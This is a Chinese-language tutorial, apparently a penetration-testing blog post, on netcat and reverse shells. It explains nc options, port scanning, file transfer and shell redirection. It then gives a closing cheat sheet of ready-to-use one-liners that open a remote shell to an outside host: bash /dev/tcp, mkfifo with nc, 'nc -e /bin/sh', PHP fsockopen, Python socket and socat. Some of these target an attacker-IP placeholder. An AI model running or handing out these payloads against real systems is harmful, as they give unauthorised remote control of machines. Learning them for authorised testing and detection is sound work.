总结一下反弹shell

前言

现在每天都在跟shell打交道,但是一直没有机会好好的了解一下,因此今天总结一下。

0x01 linux nc命令与反弹shell
linux中nc命令是一个功能强大的网络工具,全称是netcat。
nc/netcat(选项)(参数)
选项
1
2
3
4
5
6
7
8
9
10
11
12
13
14
-g<网关>:设置路由器跃程通信网关,最多设置8个;
-G<指向器数目>:设置来源路由指向器,其数值为4的倍数;
-h:在线帮助;
-i<延迟秒数>:设置时间间隔,以便传送信息及扫描通信端口;
-l:使用监听模式,监控传入的资料;
-n:直接使用ip地址,而不通过域名服务器;
-o<输出文件>:指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p<通信端口>:设置本地主机使用的通信端口;
-r:指定源端口和目的端口都进行随机的选择;
-s<来源位址>:设置本地主机送出数据包的IP地址;
-u:使用UDP传输协议;
-v:显示指令执行过程;
-w<超时秒数>:设置等待连线的时间;
-z:使用0输入/输出模式,只在扫描通信端口时使用。
参数:
1
2
主机:指定主机的IP地址或主机名称;
端口号:可以是单个整数或者是一个范围。
TCP端口扫描
1
2
3
4
# nc -v -z -w2 192.168.0.3 1-100
-v:显示指令执行过程;
-z:使用0输入/输出模式,只在扫描通信端口时使用。
-w2:设置等待连线的时间为2s;
UDP端口扫描
1
2
3
4
5
6
7
## UDP端口扫描
# nc -u -z -w2 192.168.0.1 1-1000 //扫描192.168.0.3 的端口 范围是 1-1000

## 扫描指定端口

# nc -nvv 192.168.0.1 80 //扫描 80端口
(UNKNOWN) [192.168.0.1] 80 (?) open
使用netcat实现局域网聊天
1
2
3
4
5
6
7
8
9
一端先启好监听:

nc -l 9999

另一端端进行连接:

nc 192.168.220.128 9999

连接之后的任一边的输入在另一边都可看到
使用netcat实现文件传输
和局域网聊天的原理是一样的,不过是把输入输出重定向到文件接收入端先启好监听:
1
nc -l 8080 > recv.txt
发送端进行发送:
1
nc xxx.xxx.xxx.xxx 8080 < send.txt
不过传输完之后不会自动断开连接得手动ctrl+c断开,而且转输完成并没有什么标志不知是否已传完。
0x01 什么是反弹shell?
下面我们先来理解一下反弹shell。一般情况下从本地控制远程的一台机器可以通过远程登陆(比如ssh/telnet)从本地向远程的机器主动建立连接进行控制,就是说本地是client,远程被控机是server。反弹shell(也叫reverse shell)就是把方向反过来,从远程被控主机向本地建立连接,及远程被控机是client,本地是server。

建立反弹shell
建立本地server
使用nc在本地建立server进行网络连接监听,本例子监听在8080端口上。
$ nc -lvp 8080
建立远程client
方法一:在远程被控机上用nc建立client进行连接。
1. mkfifo pipe创建有名管道,有名管道可以通过文件的方式开放管道的两端,一端可以写另一端读取写入的内容。
2. cat pipe读取有名管道中的内容,读取的内容通过管道|写入bash
3. bash -i 2>&1建立交互式shell,并把标准错误合并到标准输出,然后通过管道|发给nc客户端。
4. nc 8080 >pipe向server发起连接,并把从server端接收到的内容写入pipe,注意,这些写到pipe的内容又被上面步骤的2读出来写给shell。
感觉有点绕,我们在来回顾一下。
前面的那一串命令建立了一个连接,该连接通过nc与server端进行连接,server端的输入会被发送到client端的nc并写入pipe,之后被cat读出来发给shell执行。shell的执行输出通过nc发给server。连接的图示如下:

方法2:在远程机上用建立连接。
前面的方法1中不太简洁的地方是用了cat,那么我们可以简化一下:

建立方法的命令如下:
1
2
mkfifo /tmp/f
bash -i 2>&1 < /tmp/f | nc <Server IP> 8888 > /tmp/f
方法3:
了解了上面的方法后不禁想问Client端的数据流反转是否可行?当然可以!还是看图说话。

建立连接方法如下:
1
2
mkfifo pipe
nc <Server IP> 8888 < pipe | bash -i > pipe 2>&1
其他话题
1. 啥是FIFO?
“FIFO”是Linux操作系统上面一种特殊的进程间通讯的手段,类似管道“PIPE”,相同之处:
都是进程间通讯的手段,可用于传递消息
都是“半双工单向”数据流模式
但不同之处在于:
“PIPE”创建的管道存在于父/子进程之间,通常是fork()出来的父子进程间使用。
“FIFO”有名管道顾名思义是有名字的,名字就是文件系统中创建出来的问题件,这样就可以支持不同的进程之间使用这个管道进行通信了。
想知道的更详细些可以阅读经典的《UNIX环境高级编程》。
2. 思考一下下面的两个命令有什么不同?
nc <Server IP> 8888 < /tmp/f | bash -i 2>&1 > /tmp/f
nc <Server IP> 8888 < /tmp/f | bash -i > /tmp/f 2>&1
不同之处是2>&1 > /tmp/f> /tmp/f 2>&1
> /tmp/f 2>&1可以正确将标准输出与标准错误合并后导入/tmp/f,而2>&1 > /tmp/f最终只把标准输出导入了/tmp/f,标准错误还是没有,那么是为什么呢?
先分析一下正常> /tmp/f 2>&1的执行过程。
先解析> /tmp/f的时候进程会把标准输出1定向到FIFO文件/tmp/f
再解析2>&1的时候,进程的标准错误2定向到了标准输出1对应的目标,由于此时1指向了/tmp/f,那么自然标准错误2也被定向到了这个FIFO文件。
再分析一下异常2>&1 > /tmp/f的执行过程。
首先2>&1在执行的时候是把进程的标准错误2定向到了标准输出1对应的目标,这个目标此时是进程执行的终端
当解析到> /tmp/f的时候进程会把标准输出1定向到FIFO文件/tmp/f,而此时标准错误2还是指向前一步中定向的终端,因此造成了执行的问题。
通常的bash一句话
1
bash -i >& /dev/tcp/192.168.220.153/8080 0>&1
bash反弹一句话的拆分
命令 命令详解
bash -i 产生一个bash交互环境
>& 将联合符号前面的内容与后面相结合然后一起重定向给后者
/dev/tcp/192.168.220.153/8080 linux环境中所有的内容都是以文件的形式存在的,其实这个就是让主机与目标主机192.168.220.153:8080端口建立一个TCP连接
0>&1 标准的输入标准输出内容相结合,然后重定向给前面标准的输出内容。
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
php脚本反弹:
1
php -r '$sock=fsockopen("192.168.118.138",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
socat反弹一句话
Socat是Linux 下一个多功能的网络工具,名字来由是” Socket CAT”,因此可以看出它基于socket,能够折腾socket相关的无数事情 ,其功能与netcat类似,不过据说可以看做netcat的加强版,事实上的确也是如此,nc应急比较久没人维护了,确实显得有些陈旧了,我这里只简单的介绍下怎么使用它开启监听和反弹shell,其他详细内容可以参加见文末的参考学习。
有关socat二进制可执行文件,大家可以到这个链接下载:https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
kali中
1
socat tcp-listen:8080 -
另一台靶机运行socat反弹shell
1
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.220.153:8080
python脚本反弹
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.118.138",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
0x03 proc_open双管道,多线程执行命令
采用cli的方式运行PHP脚本
STDIN:读取脚本的输入字符
1
2
3
4
5
<?php
echo "please input a string: ";
$stdin=fread(STDIN,65535);
echo "you have input:$stdin";
exit;
从命令行输入字符,能看到打印对应的字符;其中fread会阻塞进程。
PHP开启一个子进程
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

$child_file = "proc.php";

$descriptorspec = array(
0 => array("pipe", "r"), // 输入,子进程从此管道中读取数据
1 => array("pipe", "w"), // 输出,子进程输出
2 => array("file", "error-output.txt", "a") // 标准错误,写入到一个文件
);
$child_process = proc_open("php {$child_file}", $descriptorspec, $pipes);
echo "please input:";

$stdin=fread(STDIN,65535);
echo "you hanve input $stdin";
fwrite($pipes[0], $stdin);

$stdout=fread($pipes[1],65535);
echo "parent recieve : $stdout";

proc_close($child_process);
exit;
proc.php
1
2
3
4
 <?php
$stdin = fread(STDIN, 65535);
sleep(3);
echo "parent process transmit:" . $stdin;
运行index.php,提示请输入,当输入字符之后,index将输入的打印出来,等待3秒之后,proc又将收到的字符返回给index,由index再次打印出来。效果如下:
1
2
3
4
root@kali:~/php_file# php index.php
please input: hello
you hanve input hello
parent recieve : parent process transmit: hello
proc_open($file,$descriptorspec,$pipes)
开启一个子进程。
$file:子进程要打开的脚本
$descriptorspec: 输入输出读取的配置文件,数组
1
2
3
4
5
6
7
8
9
10
11
<?php
$descriptorspec=array(
0 =>input,
// input= array("pipe", "r")则主进程从 $pipes[0]写入数据,子进程从STDIN中读取$pipes[0]中的数据
//input=STDIN 则子进程从主进程的STDIN中读取数据
输入,子进程从此管道中读取数据
1 =>output,
//output= array("pipe", "w") 主进程echo/print_r的内容输出到$pipes[1]中,主进程从$pipes[1]中取数据
//output=STDOUT 子进程输出的数据,直接输出的到父进程的STDOUT中
2 => array("file", "error-output.txt", "a") // 标准错误,写入到一个文件
);
反弹shell命令总结
bash版本:
1
2
bash -i >& /dev/tcp/<attackerIP>/[port] 0>&1
bash -i >& /dev/tcp/192.168.118.138/6666 0>&1
注意这个是由解析shell的bash完成,所以某些情况下不支持
python版本:
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php版本:
1
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
nc版本:
1
2
3
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
参考链接:
Linux nc命令与反弹shell
linux各种一句话反弹shell总结
各种环境下反弹 shell 的方法
渗透测试:反弹与转发小结